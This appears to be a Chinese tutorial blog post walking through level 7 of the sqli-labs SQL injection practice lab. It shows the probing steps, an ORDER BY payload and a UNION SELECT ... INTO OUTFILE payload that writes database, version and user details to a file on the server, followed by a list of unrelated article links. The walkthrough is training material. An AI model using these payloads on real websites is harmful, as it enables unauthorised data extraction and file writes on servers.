当前位置: 首页 > news >正文

sqli-labs 靶场 less-7 第七关详解:OUTFILE注入与配置

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 7

SQLI DUMB SERIES-7

判断注入点

进入页面中,并输入数据查看结果。
判断注入点
发现空数据提示语法问题
发现空数据提示语法问题
输入单引号会提示语法问题。
scroll lock
经尝试竟然还需要两个括号才能显示正常。整个过程都没有错误提示或数据显示,那我们只能使用布尔注入来测试了。
sqli dumb series
只有列号为3的时候,才能正常显示,则字段长度为3。

http://sqli-labs.com/Less-7/
?id=1')) order by 3 --+

less-7

注入

SELECT column1 FROM table_name INTO OUTFILE 'file_path'
OUTFILE命令可以将查询结果导出为文本文件,CSV文件等多种格式。
注意:使用这个功能需要提前开启权限。你可以前往MySQL的源文件目录中,打开my.ini配置文件,并修改其中的`secure_file_priv='D://'`参数设置为你的安全目录。(请设置为C盘以外的磁盘,避免系统权限问题。)修改完成并重启后在MySQL命令行中输入`show variables like '%secure%';`查看是否设置成功。

根据页面的提示我们也可以采用outfile的方式进行注入:

http://sqli-labs.com/Less-7/
?id=1')) union select database(),version(),user() from dual into outfile "d:\\project\\sqli-labs-master\\Less-7\\1.txt" --+

into outfile

SELECT * FROM users WHERE id=(('id=1')) union select version(),database(),user() into outfile "D:\\project\\sqli-labs-master\\Less-7\\1.txt";

打开文件看一下效果:
root@localhost
至此,注入成功。

系列文章

  • sqli-labs 靶场闯关基础准备
  • sqli-labs 靶场 less-1、2、3、4第一关至第四关
  • sqli-labs 靶场 less-5、6 第五关和第六关
  • sqli-labs 靶场 less-8、9、10

相关文章:

  • 英伟达开源 3400 亿参数模型;苹果 iOS 18 紧急 SOS 新增实时视频功能丨 RTE 开发者日报 Vol.225
  • VB.net调用VC DLL
  • 实战 | 基于YOLOv10的车辆追踪与测速实战【附源码+步骤详解】
  • 智慧工厂监控可视化解决方案(160页WORD)
  • 从零开始学GeoServer源码(一)(搭建开发环境Win10+IDEA23.3.5+jdk11+geoserver2.24.x)
  • Zenity向Ubuntu系统发送通知
  • 安全测试入门基础大全。。费了大功夫整理(超级全面)
  • [AIGC] Java List接口详解
  • 从0到1实现YOLOv3
  • linux在文件夹中查找文件内容
  • MySql 数据库、表常用语句
  • 微软如何打造数字零售力航母系列科普13 - Prime Focus Technologies在NAB 2024上推出CLEAR®对话人工智能联合试点
  • 短URL服务设计
  • onnx基本概念
  • .gitignore文件忽略的内容不生效问题解决
  • 「前端」从UglifyJSPlugin强制开启css压缩探究webpack插件运行机制
  • 78. Subsets
  • angular学习第一篇-----环境搭建
  • nodejs实现webservice问题总结
  • Protobuf3语言指南
  • SpringBoot几种定时任务的实现方式
  • XML已死 ?
  • 回顾2016
  • 双管齐下,VMware的容器新战略
  • 微信小程序--------语音识别(前端自己也能玩)
  • 源码之下无秘密 ── 做最好的 Netty 源码分析教程
  • 正则表达式
  • ​【已解决】npm install​卡主不动的情况
  • ​Linux Ubuntu环境下使用docker构建spark运行环境(超级详细)
  • ​批处理文件中的errorlevel用法
  • ​香农与信息论三大定律
  • "无招胜有招"nbsp;史上最全的互…
  • (2024,Flag-DiT,文本引导的多模态生成,SR,统一的标记化,RoPE、RMSNorm 和流匹配)Lumina-T2X
  • (Demo分享)利用原生JavaScript-随机数-实现做一个烟花案例
  • (Matalb时序预测)WOA-BP鲸鱼算法优化BP神经网络的多维时序回归预测
  • (MonoGame从入门到放弃-1) MonoGame环境搭建
  • (超简单)构建高可用网络应用:使用Nginx进行负载均衡与健康检查
  • (二十五)admin-boot项目之集成消息队列Rabbitmq
  • (附源码)ssm教师工作量核算统计系统 毕业设计 162307
  • (附源码)流浪动物保护平台的设计与实现 毕业设计 161154
  • (免费领源码)python+django+mysql线上兼职平台系统83320-计算机毕业设计项目选题推荐
  • (五) 一起学 Unix 环境高级编程 (APUE) 之 进程环境
  • (转)shell调试方法
  • .NET Core 网络数据采集 -- 使用AngleSharp做html解析
  • .net MySql
  • .Net Remoting常用部署结构
  • .NET 设计模式初探
  • .NET/C# 的字符串暂存池
  • .NET/C# 判断某个类是否是泛型类型或泛型接口的子类型
  • .Net6 Api Swagger配置
  • .Net实现SCrypt Hash加密
  • .net下简单快捷的数值高低位切换
  • /var/log/cvslog 太大
  • @Controller和@RestController的区别?
  • [ 数据结构 - C++] AVL树原理及实现